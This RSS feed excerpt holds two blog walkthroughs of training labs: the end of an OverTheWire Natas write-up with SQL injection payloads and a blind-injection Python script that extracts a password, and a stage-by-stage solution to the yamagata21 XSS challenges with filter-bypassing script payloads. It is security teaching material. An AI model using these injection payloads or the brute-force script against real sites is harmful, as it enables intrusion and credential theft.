server-side query structure:</li></ol><p>SELECT * from users where username=\&quot;&quot;.$_REQUEST[&quot;username&quot;].&quot;\&quot; and password=\&quot;&quot;.$_REQUEST[&quot;password&quot;].&quot;\&quot;</p><p>which means the query takes our input as it is and there is no input sanitization.</p><p>We can use SQL injection directly, by entering</p><p>Username: &quot;or&quot;&quot;=&quot; <br> Password: &quot;or&quot;&quot;=&quot; .</p><p>This will directly give us the password to the next level.</p><h4>Natas Level 15 → Level 16</h4><p><strong>Key Takeaways:</strong> This level challenges you to perform blind SQL injection. The server gives no visible output about whether a login attempt succeeded or failed — instead, you infer success based on subtle clues (e.g., different page content).</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas15 and the password obtained from Level 14.</li><li>The page presents a login form with just a username field (no password).</li><li>View source code using the link provided.</li><li>The query checks for:</li></ol><p>SELECT * from users where username=\&quot;&quot;.$_REQUEST[&quot;username&quot;].&quot;\&quot;</p><p>5. The goal is to extract the password for natas16 by asking yes/no questions in SQL. Example payload:</p><p>natas16&quot; AND SUBSTRING(password,1,1) = &quot;a&quot; #</p><p>6. If the first character is “a”, the page content will change to indicate the user exists.</p><p>7. Automate this by writing a script (Python, Bash, etc.) to loop through characters and positions:</p><ul><li>Try all possible characters (a-z, A-Z, 0–9).</li><li>For each position in the password, test each character.</li><li>When you get a hit, record the character and move to the next position.</li><li>Sample script (Credits: John Hammond):</li></ul><p><a href="https://github.com/JohnHammond/overthewire_natas_solutions/blob/master/natas15.py">overthewire_natas_solutions/natas15.py at master · JohnHammond/overthewire_natas_solutions</a></p><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br><br>import requests<br>import time<br>from string import ascii_lowercase, ascii_uppercase, digits<br><br>characters = ascii_lowercase + ascii_uppercase + digits<br>print(characters)<br><br>username = &#39;natas15&#39;<br>password = &#39;SdqIqBsFcz3yotlNYErZSZwblkm0lrvx&#39;<br><br>url = f&#39;http://{username}.natas.labs.overthewire.org/&#39;<br><br>session = requests.Session()<br>seen_password = []<br><br>while True:<br>    for ch in characters:<br>        attempt = &quot;&quot;.join(seen_password) + ch<br>        print(f&quot;Trying with password: {attempt}&quot;)<br>        try:<br>            response = session.post(<br>                url,<br>                data={&quot;username&quot;: f&#39;natas16&quot; AND BINARY password LIKE &quot;{attempt}%&quot; #&#39;},<br>                auth=(username, password),<br>                timeout=10<br>            )<br>            if &#39;user exists&#39; in response.text:<br>                seen_password.append(ch)<br>                print(f&quot;[+] Found so far: {&#39;&#39;.join(seen_password)}&quot;)<br>                break<br>        except requests.exceptions.RequestException as e:<br>            print(f&quot;Request failed: {e}&quot;)<br>            time.sleep(1)<br>            continue<br><br>        time.sleep(0.1)<br><br>    if len(seen_password) == 32:<br>        print(f&quot;[✓] Password found: {&#39;&#39;.join(seen_password)}&quot;)<br>        break</pre><p>This will build the password one character at a time until complete.</p><p>The next set of levels will be covered in another article. Thanks for sticking around so far!</p><p>For more such informational blogs about concepts, techniques and news related to cyber security, follow us :</p><p>💬 LinkedIn: <a href="https://www.linkedin.com/company/rootissh">https://www.linkedin.com/company/rootissh</a></p><p>🤳🏽 Instagram: <a href="https://www.instagram.com/rootissh.in/">https://www.instagram.com/rootissh.in/</a></p><p>🐤 X (formerly Twitter): <a href="https://twitter.com/rootissh">https://twitter.com/rootissh</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a737a0c74da" width="1" height="1" alt=""><hr><p><a href="https://rootissh.in/overthewire-wargames-natas-level-1-15-walkthrough-7a737a0c74da">OverTheWire: Wargames — Natas (Level 1–15) Walkthrough</a> was originally published in <a href="https://rootissh.in/">rootissh</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough of XSS Challenges (by yamagata21)]]></title>
            <link>https://medium.com/@arnavaidya/walkthrough-of-xss-challenges-by-yamagata21-6e43c388235f?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e43c388235f</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Thu, 25 Sep 2025 17:45:04 GMT</pubDate>
            <atom:updated>2025-09-25T17:45:04.747Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my walkthrough of all the stages of the XSS Challenge (by yamagata21). There are a total of 19 stages in this challenge. The aim of each stage is to inject the JavaScript command: alert(document.domain);into the input field and trick the server into executing it. <br>A few stages only seem to work in the older versions of Internet Explorer, and haven’t been covered in this writeup.</p><p>Link to the challenge:</p><p><a href="https://xss-quiz.int21h.jp/">XSS Challenges</a></p><p>The link to the next stage is received upon completion of the previous one.</p><p>Let’s dive right into it!</p><h4>Stage #1</h4><p>This is understandably the easiest stage of this game.<br>Simply enter this payload in the input field:</p><pre>&lt;script&gt;alert(document.domain)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PCXL_VqKS_gloJe7" /><figcaption>Stage #1 hint and solution</figcaption></figure><p>You’ll get an alert and the stage will be cleared!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c6UgMFya7tGpK3BR" /><figcaption>Stage #1 cleared!</figcaption></figure><h4>Stage #2</h4><p>This is where the game actually begins.<br>The hint says that there is an existing tag that needs to be closed first.<br>In order to do this, our payload should begin with something like:<br>“&gt;&lt;script……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dMSntRjpzMmXKvJ6ONKM8w.png" /><figcaption>Stage #2 hint and solution</figcaption></figure><p>This is how the input tag is being closed to begin the injected script tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*aPve_lYLpFzxIVBmwq0PNg.png" /></figure><p>You’ll get an alert and the stage will be cleared!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7lBimbMxLGC9iImn" /><figcaption>Stage #2 cleared!</figcaption></figure><h4>Stage #3</h4><p>The input field seems to be properly escaped. However, we are introduced to a new input field here; the dropdown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*am5HwHw_WJGOcZfB" /><figcaption>Stage #3 hint</figcaption></figure><p>The previous payload fails because of HTML encoding. Try intercepting the traffic using Burp Suite.</p><p>You’ll find another input field ‘p2’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/0*_V1SnwMgG2RJ08Wd" /><figcaption>p2 field</figcaption></figure><p>Enter this payload in place of ‘Japan’ in p2.</p><pre>“&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;</pre><p>Forward this request.</p><p>You’ll get an alert and the stage will be cleared!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UXFk5rZZTOb978D4" /><figcaption>Stage #3 cleared!</figcaption></figure><h4>Stage #4</h4><p>The hint says there’s a hidden input field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*APKWKQu753DGoz9W" /><figcaption>Stage #4 hint</figcaption></figure><p>We have a target to exploit. Intercept the traffic in Burp Suite.</p><p>You’ll find another input field ‘p3’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lPfdKPHGPHZdYmYc" /><figcaption>p3 field</figcaption></figure><p>Enter the same payload as stage 2 in the ‘p3’ field.</p><pre>“&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;</pre><p>Forward the request.</p><p>You’ll get an alert and the stage will be cleared!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g8EvV4vQS66ISCFR" /><figcaption>Stage #4 cleared!</figcaption></figure><h4>Stage #5</h4><p>The hint says that the input field is now restricted to a certain input length.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PqBXmK8EXjtIvXs4" /><figcaption>Stage #5 hint</figcaption></figure><p>Open DevTools -&gt; Elements and simply change the ‘maxlength’ and ‘size’ values to a big value like 50.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ystg5TSt_sKkPA4H" /></figure><p>Now enter the same payload as stage 2 in the input field.</p><pre>“&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;</pre><p>Submitting will get you the alert and the stage will be cleared!</p><p>This is a client-side validation bypass.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oUdYGyZ2YFOg6smu" /><figcaption>Stage #5 cleared!</figcaption></figure><h4>Stage #6</h4><p>The hint says that this stage has something to do with event handler attributes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4W7OxzXnOByiduAs" /><figcaption>Stage #6 hint</figcaption></figure><p>These include ‘onmouseover’, ‘onclick’, ‘oninput’ and many more.</p><p>So it is safe to assume that the payload in this stage needs to be designed using an event handler attribute.<br>Something like:</p><pre>“ onmouseover=”alert(document.domain)”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Z1jHaoQjHtpES_hk" /><figcaption>Payload</figcaption></figure><p>Submitting will get you an alert and the stage will be cleared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nj3GTCmApn5oV3jM" /><figcaption>Stage #6 cleared!</figcaption></figure><h4>Stage #7</h4><p>This stage seems to be similar to the previous one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iWCKDFLnx8ELFIR2" /><figcaption>Stage #7 hint</figcaption></figure><p>The previous stage’s payload won’t work here, since this stage adds an extra “ for every double quote entered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IbZu8LUoW3HrVNjf" /><figcaption>First attempt</figcaption></figure><p>This payload works for this stage:</p><pre>“ onmousover=alert(document.domain)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*O37imkANSYKkPh3Q" /><figcaption>Stage #7 cleared!</figcaption></figure><h4>Stage #8</h4><p>The hint mentions something about JavaScript scheme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PWsV4-IpijCWn76G" /><figcaption>Stage #8 cleared!</figcaption></figure><p>We are expected to ‘Make a link’ using JavaScript scheme.</p><p>The payload will simply look like:</p><pre>javascript:alert(document.domain)</pre><p>Submitting this payload will create a link.</p><p>Clicking on it will send an alert and the stage will be cleared!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GTWq9G_0O0sNSkIE" /><figcaption>Stage #8 cleared!</figcaption></figure><h4>Stage #9</h4><p>This stage has something to do with UTF-7 which is supported in older versions of Internet Explorer only. The stage can be skipped by simply entering ‘alert(document.domain)’ in the Console in DevTools.</p><h4>Stage #10</h4><p>The hint mentions something which I didn’t get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3ufWzIXaZIu-Uh9u" /><figcaption>Stage #10 hint</figcaption></figure><p>However I tried the classic &lt;script&gt;alert(document.domain)&lt;/script&gt; payload and found out that the word ‘domain’ (word after the ‘.’) is being removed.</p><p>There are a few different approaches to solve this stage.</p><ul><li>The payload here is designed in such a way that the word ‘domain’ will be regenerated if broken down.</li></ul><pre>&quot;&gt;&lt;script&gt;alert(document.dodomainmain)&lt;/script&gt;</pre><ul><li>Encode and decode ‘document.domain’ with Base64.</li></ul><pre>&quot;&gt;&lt;script&gt;(eval(atob(&#39;YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==&#39;)))&lt;/script&gt;</pre><ul><li>Split the ‘document.domain’ part and concatinate it back.</li></ul><pre>&lt;script&gt;alert(eval(&#39;document.dom&#39;+&#39;ain&#39;))&lt;/script&gt;</pre><p>Submitting any of these payloads will generate an alert and the stage will be cleared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*a-zW9Va6Z-gEM58V" /><figcaption>Stage #10 cleared!</figcaption></figure><h4>Stage #11</h4><p>This stage isn’t available.</p><h4>Stage #12</h4><p>A lot of articles and walkthroughs suggest that this stage works on Internet Explorer only, so I switched to a device with IE support.</p><p>The hint displays a regex &quot;s/[\x00-\x20\&lt;\&gt;\&quot;\&#39;]//g;&quot; which seems to filter out the input and rejects &lt;, &gt; and &quot; &quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/0*f9igN0L3p1Ta4e95" /><figcaption>Stage #12 hint</figcaption></figure><p>The solution to this stage is quite different and involves the use of backticks (`). The regex has no rule to reject backticks and this is what we’ll utilise here.</p><p>The payload:</p><pre>``onmouseover=alert(document.domain);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/0*4fCdBvoA7XUXONML" /><figcaption>Payload</figcaption></figure><p>The payload works and gives an alert on mouseover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MUaXPZRLAXL8JFU1" /><figcaption>Stage #12 cleared!</figcaption></figure><h4>Stage #13 — #14</h4><p>I tried multiple solutions that are publicly available through walkthroughs on Internet Explorer, but none of them seemed to work. <br>This might be an issue regarding the version of Internet Explorer required to solve these stages. I skipped these and moved on to the 15th stage.</p><h4>Stage #15</h4><p>The hint suggests that this stage has something to do with the ‘document.write()’ function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EvZL56FIx-pzGnSD" /><figcaption>Stage #15 hint</figcaption></figure><p>I tried a test payload of the usual ‘&lt;script&gt;alert(document.domain)&lt;/script&gt;’ and observed that the characters ‘&lt;’, ‘&gt;’ are being HTML encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RGlSmbdpVanHYD5z" /></figure><p>This means we need to encode the characters ourselves to bypass this check.<br>Convert the payload to Hex which will look like this:</p><p>\x3cscript\x3ealert(document.domain)\x3c/script\x3e</p><p>But the server just removes the backslashes from the input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ofFk0Ils0tLNKwMi" /><figcaption>Backslashes (‘\’) removed from payload</figcaption></figure><p>Simply add another backslash for every backslash in Hex. The payload should look like:</p><pre>\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e</pre><p>Submitting it will get you an alert clearing the stage!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cSVEANpSnGiKatPE" /><figcaption>Stage #15 cleared!</figcaption></figure><h4>Stage #16</h4><p>This stage isn’t available.</p><h4>Stage #17 — #18</h4><p>These stages seem to work in older versions of Internet Explorer only and can be skipped.</p><h4>Stage #19</h4><p>The hint says “Twitter DomXss at Sep 24, 2010”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mB16ioyQ3iHNXmgX" /><figcaption>Stage #19 hint</figcaption></figure><p>Looking at a few articles about this, I found that Twitter had a code snippet like:</p><p>//&lt;![CDATA[ (function(g){var a=location.href.split(&quot;#!&quot;)[1];if(a){g.location=g.HBR=a;}})(window); //]]&gt;</p><p>This made it possible to inject Javascript scheme as: http://twitter.com/#!javascript:alert(document.domain); to get an XSS.</p><p>We’ll use the same strategy here.</p><p>Replace the ‘href’ in DevTools with javascript:alert(document.domain).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nspDTWJpo5ulkzsI" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EFfnMwZs781D6SBh" /><figcaption>Stage #19 cleared!</figcaption></figure><p>And BOOM! Just like that we have cleared all stages of the XSS Challenge (by yamagata21).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3aG6gawTKz4XFf0b" /><figcaption>All stages are cleared!</figcaption></figure><p>This series of challenges is indeed a great way to learn a few tricks to test for XSS and has introduced me to a whole lot of different techniques other than the classic &lt;script&gt;alert(1)&lt;/script&gt;. <br>Really enjoyed learning how creative you can get to trick the server into executing unintended scripts!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e43c388235f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>